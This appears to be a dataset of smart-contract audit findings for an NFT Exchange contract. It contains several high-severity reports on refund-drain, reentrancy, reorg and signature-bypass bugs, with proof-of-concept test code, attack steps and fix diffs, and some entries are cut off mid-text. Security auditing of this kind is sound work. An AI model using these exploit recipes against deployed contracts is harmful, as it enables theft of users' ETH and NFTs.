xanoutas/solidity-security-findings huggingface dataset:
Exchange refund operation will return all ETH stored in the contract instead of the remaining amount from the exchange operation
Audit: 2022-11-non-fungible-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L219


# Vulnerability details

# Exchange refund operation will return all ETH stored in the contract instead of the remaining amount from the exchange operation

The function that refunds remaining ETH in the Exchange contract will send back all the balance present in the contract instead of just the remaining amount after the exchange(s) operation(s) happen.

## Impact

The `_returnDust()` internal function is called in the `execute` and `bulkExecute` functions of the Exchange contract to return the sender any ETH that is leftover after the exchanges happened.

This function uses a low level call using inline assembly to refund the caller if the storage variable `remainingETH` (which tracks the consumption of ETH) is greater than 0. But, instead of using this variable as the amount to be refunded, it calls `selfbalance()` which will return the total ETH balance held in the contract.

This issue can be used to withdraw all the ETH stored in the contract: as long as the refund amount is at least 1 wei the refund process will still send all the contract's balance.

Combining this issue with other situations that may cause ETH to be stored in the contract (see associated report "ETH payments may fail to be refunded and will be lost in the Exchange contract") can lead an attacker to steal funds, as shown in the following PoC.

## PoC

The following test first sets the scenario by using a failed bulk purchase operation that fails to be refunded back to the caller. This leaves the ETH payment in the Exchange contract.

The attacker (here represented by the `thirdParty` signer) uses a bulk exchange operation that will fail on purpose and send a payment of 1 wei. `_remainingETH` will be 1 wei, but the refund operation will send all the ETH held in the contract, which includes the lost payment from the previous operation.

```
it('steal eth in exchange via refund', async function() {
  // Simulate a failed operation that fails to refund ETH
  const buyerContract = (await simpleDeploy('NftBuyer', [exchange.address])) as any;
  
  // sell price is 2 ETH
  sell = generateOrder(alice, {
    side: Side.Sell,
    tokenId,
    paymentToken: ethers.constants.AddressZero,
    price: ethers.utils.parseEther("2"),
    fees: [],
  });
  
  // buyer wants to buy it for 1 ETH, which will fail the operation
  const amount = ethers.utils.parseEther("1");
  buy = generateOrder(buyerContract, {
    side: Side.Buy,
    tokenId,
    price: amount,
    paymentToken: ethers.constants.AddressZero,
    fees: [],
  });
  
  sellInput = await sell.pack();
  buyInput = await buy.packNoSigs();
  const executions = [{ sell: sellInput, buy: buyInput }];

  await waitForTx(
    buyerContract.buyNftBulk(executions, { value: amount })
  );
  
  // ETH is in exchange
  expect(await hre.ethers.provider.getBalance(exchange.address)).to.eq(amount);
  
  // Now thirdparty wants to take advan
Anyone can take the remaining ETH in the Exchange (proxy) contract
Audit: 2022-11-non-fungible-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L216-L224


# Vulnerability details

## Impact
Anyone can take the remaining ETH in the Exchange (proxy) contract

## Proof of Concept

Because `_returnDust()` just send all ETHs of the Exchange balance to `caller()`, anyone can call `bulkExecute(executions)` with 1wei and an empty executions list to drain the contract:

```
function _returnDust() private {
    uint256 _remainingETH = remainingETH;
    assembly {
        if gt(_remainingETH, 0) {
            let callStatus := call(
                gas(),
                caller(),
                selfbalance(),
                0,
                0,
                0,
                0
            )
        }
    }
}
```

## Tools Used
  VS Code

## Recommended Mitigation Steps

Only send `_remainingETH` back to the caller:

Diff:
```
diff --git a/contracts/Exchange.sol b/contracts/Exchange.sol
index ec27b1d..1b98a8a 100644
--- a/contracts/Exchange.sol
+++ b/contracts/Exchange.sol
@@ -216,7 +216,7 @@ contract Exchange is IExchange, ReentrancyGuarded, EIP712, OwnableUpgradeable, U
                 let callStatus := call(
                     gas(),
                     caller(),
-                    selfbalance(),
+                    _remainingETH,
                     0,
                     0,
                     0,
```
Cross-functional re-entrancy resulting in stealing any additional/extra ether sent by the `execute()` 's caller
Audit: 2022-11-non-fungible-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L168-L210


# Vulnerability details

## Impact

The contract **Exchange.sol** has  `execute()`  function which can be called by anyone to execute a single buy and sell order.  The function calls  `_execute()` then `_returnDust()`. The latter sends the unrequired ether back to the caller. However, a malicious actor could steal this ether amount from the caller via a cross-functional re-entercy to `bulkExecute()`.


## Proof of Concept

Actors:
- **Caller**: anyone who calls `_execute()`.
- **Seller**: someone selling the NFT.
- **Buyer**: someone buying the NFT.
- **Fee Recipients**: one or more who are receving the fee (provided by the seller).

A scenario as an example:
In the following scenario, the buyer could possibly be the bad actor (in each step I added the value of the state variable **remainingETH**  which is updated by `setupExecution` modifier):

1. The **caller** calls `execute()` with two matched order that has a  POOL payment or WETH, and a **msg.value = 1 ether**.
	- *remainingETH* = 1 ether
3. `execute()` calls `_execute()` . 
4.  `_execute()` is being executed till it reaches `_executeTokenTransfer()` which transfers the token to the **buyer**. 
	 - *remainingETH* = 1 ether
6. The **buyer** is a contract which has `onERC721Received()` that calls  `bulkExecute()`  with empty **executions** array and a **msg.value > 0**. Let's assume it is **0.1 ether**. 
	- *remainingETH* = 0.1 ether
8. The `bulkExecute()` will pass the for-loop and calls `_returnDust()` .
9. `_returnDust()` checks the **remainingETH** variable is greater than zero (which is **0.1 ether**) and sends all the contract's balance to the **msg.sender**.
11. At this moment, the **msg.sender** is the **buyer** and the contract's balance is **1.1 ether**.
13. The **buyer** receives **1.1 ether** and **remainingETH** variable is set to zero via the `setupExecution` modifier.
	 - *remainingETH* = 0
15. Now back to the `execute()` which calls `_returnDust()`  after `_execute()` is done.
16. `_returnDust()`  checks the **remainingETH** variable is actually zero so it doesn't send anything to the  **caller**.



*Note: a similiar scenario could be done by any **Fee Recipient** by re-entering `bulkExecute()` from the receive callback when the payment is ether (paymentToken == address(0))*


## Tools Used
Manual analysis

## Recommended Mitigation Steps

Add the  `reentrancyGuard` modifier to  `bulkExecute()`  function.

```sh

function bulkExecute(Execution[] calldata executions)
        external
        payable
        whenOpen
        setupExecution
	reentrancyGuard
    {
				
	  }
```


*Hint: It is not recommended to perform a state change in modifiers (which is done for example in **setupExecution**) as it violates the Checks-Effects-Interactions pattern.*  Please consider moving the logic in **setupExecution** to a regular function.
User funds(ETHs) sent along with bulkExecute tx may be stolen by a reentry attack
Audit: 2022-11-non-fungible-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L40-L46
https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L154-L158
https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L168-L172
https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L212-L227


# Vulnerability details

## Impact
The funds (ETH) that users sent along with the `bulkExecute` may be stolen.

## Proof of Concept

When a buyer send a `bulkExecute()` tx with `msg.value > 0` (with order of buying token with eth), the sent ETH may be stolen if the tx contains a malicious selling order which can trigger a reentry attack.

Here are the details of the reentry attack:
1. Buyer B calls `bulkExecute()` with a list of executions(order pairs) and some ETH. Assume `v1 = remainingETH = msg.value`, we have `balanceOf(Exchange) >= v1`.
2. When `_execute()` one of the executing which is malicious, triggle a call to a deployed malicious contract X. We can know that `v2 = remainingETH >= v1`.
3. The malicious contract X will call `bulkExecute()` of the `Exchange` with at least 1 wei and an empty list of executions. And this call with send all (`balanceOf(Exchange) >= v2 + 1wei`) ETH to contract X by `_returnDust()`.
4. When X returns, we will have `remainingETH == 0` and `balanceOf(Exchange) ==0` now.

The invocation of a malicious contract in step 2 above may occur under the following circumstances and may be considered constructed maliciously
1. Contains a sell order whose collection contract is malicious: the logic in step 3 can be executed in `_executeTokenTransfer()`.
2. Contains a sell order with malicious fee recipient: the reentry attack happens when fee is sent to the malicious recipient who is the malicious contract X.

In addition, when the Buyer calls `execute()` with a `msg.value` exceeds the actual price, the buyer may also lose the remaining funds by a reentry attack.

## Tools Used
  VS Code

## Recommended Mitigation Steps

This problem is mainly due to the fact that `_execute()` is reentrancy protected and `setupExecution()` is not.

Recommended: remove `reentrancyGuard` from `_execute()` and add it to external functions (`execute()` and `bulkExecute()`) to make `setupExecution` reentrancy protected.

Here is the diff:

```
diff --git a/contracts/Exchange.sol b/contracts/Exchange.sol
index ec27b1d..f3fa09b 100644
--- a/contracts/Exchange.sol
+++ b/contracts/Exchange.sol
@@ -155,6 +155,7 @@ contract Exchange is IExchange, ReentrancyGuarded, EIP712, OwnableUpgradeable, U
         external
         payable
         whenOpen
+        reentrancyGuard
         setupExecution
     {
         _execute(sell, buy);
@@ -169,6 +170,7 @@ contract Exchange is IExchange, ReentrancyGuarded, EIP712, OwnableUpgradeab
Susceptible to reorg attack
Audit: 2022-11-non-fungible-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L298


# Vulnerability details

## Impact

When reorg happens, it is possible that the cancelled order by the taker be executed by the maker.

## Proof of Concept

Suppose userA is seller and userB is buyer, seller is maker, and buyer is taker. After some time, userB (the buyer) cancels the order by calling `cancelOrder`.
```
function cancelOrder(Order calldata order) public {
        /* Assert sender is authorized to cancel order. */
        require(msg.sender == order.trader);

        bytes32 hash = _hashOrder(order, nonces[order.trader]);

        require(!cancelledOrFilled[hash], "Order already cancelled or filled");

        /* Mark order as cancelled, preventing it from being matched. */
        cancelledOrFilled[hash] = true;
        emit OrderCancelled(hash);
    }
```
So, the seller can not call `execute` anymore, because the parameters of buyer is not valid anymore `cancelledOrFilled[buyHash] = true`:
```
function _validateOrderParameters(Order calldata order, bytes32 orderHash)
        internal
        view
        returns (bool)
    {
        return (
            /* Order must have a trader. */
            (order.trader != address(0)) &&
            /* Order must not be cancelled or filled. */
            (!cancelledOrFilled[orderHash]) &&
            /* Order must be settleable. */
            (order.listingTime < block.timestamp) &&
            (block.timestamp < order.expirationTime)
        );
    }
```

Later, if reorg happens in the blockchain, there will be possibility for the seller to call `execute` and use the signatures provided by the buyer. 
In other words, since reorg has happened, the cancelling order of the buyer is undone, so the seller can execute the transaction as if the buyer has not cancelled the order.

## Tools Used

## Recommended Mitigation Steps
Recipients Can Steal Remaining ETH from Exchange
Audit: 2022-11-non-fungible-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L216
https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L206


# Vulnerability details

## Impact

This vulnerability allows recipients to reenter the `Exchange` contract, stealing remaining ETH. When a batch of orders are matched using the `bulkExecute` method a malicious recipient of assets may reenter the `bulkExecute` method, stealing ETH that would've gone to filling further orders in the batch and / or would've been returned to the original caller. Specifically the following type of recipients may exploit this vulnerability:

- sellers who receive ETH for a sale
- buyers receiving ER721 / ERC1155 tokens


## Proof of Concept
The [`bulkExecute` method](https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L168-L210) allows the caller to match multiple orders by passing a list of `Execution` structs which include both buy and sell side inputs of an order. The `bulkExecute` method is payable, accepting ETH from the sender which can subsequently be used to fill orders. In `bulkExecute`, reverts from failing order matches are [intentionally](https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/README.md?plain=1#L24) contained and skipped, continuing with the matching of the next order. 

Sellers who receive ETH as part of an order match ([L631](https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L631)) get forwarded all gas, allowing them to reenter the `Exchange` contract if they're a contract that does so upon its `receive` method being invoked. Similarly an NFT recipient could reenter upon getting sent a token via the execution delegate ([L663](https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L663)), which sends ERC721 tokens via the `safeTransferFrom` method ([L95](https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/ExecutionDelegate.sol#L95)) triggering a receive check function.

When reentering, a malicious account must call the `bulkExecute` method with at least 1 wei. Due to the [reentrancy guard around the `_execute` method](https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L237) the list of executions can be left empty as any call to `_execute` in the attacker's context would silently revert. The `setupExecution` modifier around the `bulkExecute` will [store the `msg.value` in `remainingETH`](https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L41), which is later [checked by the `_returnDust` method](https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts
#bulkExecute() can reenter to steal funds
Audit: 2022-11-non-fungible-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L206
https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L219


# Vulnerability details

## Impact
Exchange#bulkExecute() can reenter, and internal execution of delegatecall is allowed to fail, not revert, malicious users can reenter to steal funds

## Proof of Concept
Assumptions:
There is a malicious user alice,with NFT for sale, paid through eth
If user bob executes a purchase
steps:
1. bob executes Exchange#bulkExecute(), 2 Executions, pass msg.value=100 eth

Execution[0] = {seller:alice,paymentToken=address(0),price:50 eth}
Execution[1] = {seller:jack,paymentToken=address(0),price:50 eth}

2. When Execution[0] is executed, #_executeFundsTransfer()->payable(alice).call{value: 50 eth}("") will be executed;

3. malicious user alice is a contract, alice#receive() be called, executes a new call, reentering Exchange#bulkExecute{value:1 wei}(Execution[]=[0])
At this point: remainingETH = 1 wei and #bulkExecute ends immediately, and Exchange#_returnDust() is executed, at which point the contract still has 50 eth left, will transfer to alice (which was meant to be used to trade with jack). and  remainingETH is changed to 0,remainingETH=0

4. Execution[0] end of the transaction, back to the Execution[1], the execution of jack's transaction, due to insufficient eth, this transaction will fail, but will not revert

5. bob's entire Exchange#bulkExecute() ends normally, due to remainingETH=0, will not execute #_returnDust()

6. so that the user bob was stolen 50 eth in step 3

```
    function _transferTo(
        address paymentToken,
        address from,
        address to,
        uint256 amount
    ) internal {

            (bool success,) = payable(to).call{value: amount}(""); /****@audit step 2 call alice#receive() ***/

```

```
    function _returnDust() private {
        uint256 _remainingETH = remainingETH;
        assembly {
            if gt(_remainingETH, 0) {
                let callStatus := call(
                    gas(),
                    caller(),
                    selfbalance(), //*****@audit step 3 , steal 50 eth to alice****/
                    0,
                    0,
                    0,
                    0
                )
            }
        }
    }
```

```
    function bulkExecute(Execution[] calldata executions)
        external
        payable
        whenOpen
        setupExecution
    {
...
                calldatacopy(add(0x04, memPointer), order_pointer, size)
                // must be put in separate transaction to bypass failed executions
                // must be put in delegatecall to maintain the authorization from the caller
                let result := delegatecall(gas(), address(), memPointer, add(size, 0x04), 0, 0) /****@audit  step 4 , fail but don't revert****/
            }
        }
```

##
User's assets can be drained without payment due to invalid signature check
Audit: 2022-11-non-fungible-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-11-non-fungible/blob/main/contracts/Exchange.sol#L393-L395


# Vulnerability details

## Impact
`Exchange::_execute` uses `_validateSignatures` function to verify if an order is signed by both parties. However, this function does not verify the signature when `order.trader == msg.sender`. Hence, malicious actor can prepare a bundle of all seller's Orders with price = 0 and no fees, and trick seller into executing such a transaction. Because signature check will pass no matter the order parameters, later checks verifying order validity and buy/sell matching will also pass.

Steps of exploit:
```
1. Alice approves whole NFT collection - 10000 elements
2. Bob prepares malicious batch consisting of the NFTs with price = 0 & no fees as sell orders, and create matching buy orders, which he signs 
3. Bob tricks Alice into sending a `Exchange::bulkExecute`, with the batch created in step 2
4. After Alice sends the transaction, her signatures are not checked, and all malicious sell order are treated as valid. Hence, all assets are send to Bob for free
```

## Proof of Concept
```javascript
      describe('exploit signature check', () => {
        beforeEach(async () => {
          await updateBalances();
          const bnZero = BigNumber.from(0)

          // generate sell order only once
          const _sell = generateOrder(alice, {
            side: Side.Sell,
            tokenId,
            paymentToken: ZERO_ADDRESS,
          });
          
          // the Order above is NOT SIGNED - any signature will work
          const signedInput = await _sell.packNoSigs()

          // we override sell parameters, when Alice executes this function
          // signature won't be checked, so we can manipulate the Order
          // as we wish
          _sell.parameters.price = bnZero
          _sell.parameters.fees = []

          const _executions = [];
          const _successfulOrders = [];
          value = BigNumber.from(0);
          tokenId += 5;
          for (let i = tokenId; i < tokenId + 5; i++) {
            await mockERC721.mint(alice.address, i);
            // malicious Bob now creates matching orders
            const _buy = generateOrder(bob, {
              side: Side.Buy,
              tokenId: i,
              paymentToken: ZERO_ADDRESS,
              price: bnZero,
              // here we exploit yet another issue that allows to set no fees
              //So, buy.fees can be different than sell.fees
              fees: [] 
            });
            fee = bnZero
            _successfulOrders.push({
              tokenId: i,
              price: bnZero,
            });

            let signedInputCopy = JSON.parse(JSON.stringify(signedInput))

            signedInputCopy.order.tokenId = i;

            _executions.push({
              sell: signedInputCopy,
              // we swap order - malicious buyer signs messages
              // and then tricks Alice into sending the transacti